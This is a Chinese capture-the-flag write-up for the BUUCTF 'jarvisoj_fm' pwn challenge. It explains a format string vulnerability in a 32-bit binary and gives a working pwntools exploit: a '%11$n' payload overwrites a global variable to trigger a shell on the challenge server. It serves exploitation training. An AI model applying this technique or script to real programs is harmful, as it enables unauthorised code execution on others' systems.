buuctf pwn 板块 jarvisoj_fm 题目,考察 x86 栈上格式化字符串漏洞
1 2 3 4 5 6 7 [*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/fm' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14u ); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x50u ); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
让 x=4
就可以拿到 shell, 看样子因该是格式化字符串漏洞,验证:
1 2 3 4 ❯ ./fm aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x aaaa.ff98b81c.50.1.0.1.eae9da20.ff98b934.0.ff98ba8b.35.61616161.2e78252e.252e7825.78252e78.2e78252e.252e7825 3!
看到输入的 aaaa
在第十一位输出了 61616161
, 那修改 x 的值就很简单了:
思路
输入 x 的地址
格式化字符串漏洞,利用 %11$n
,将四字节( str(4) )写入%11,也就是 x 的地址的值
Get shell
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) pwnfile= './fm' elf = ELF(pwnfile) rop = ROP(pwnfile) io = remote("node5.buuoj.cn" ,26848 ) x_addr = 0x804A02C payload = p32(x_addr) + b'%11$n' io.sendline(payload) io.interactive()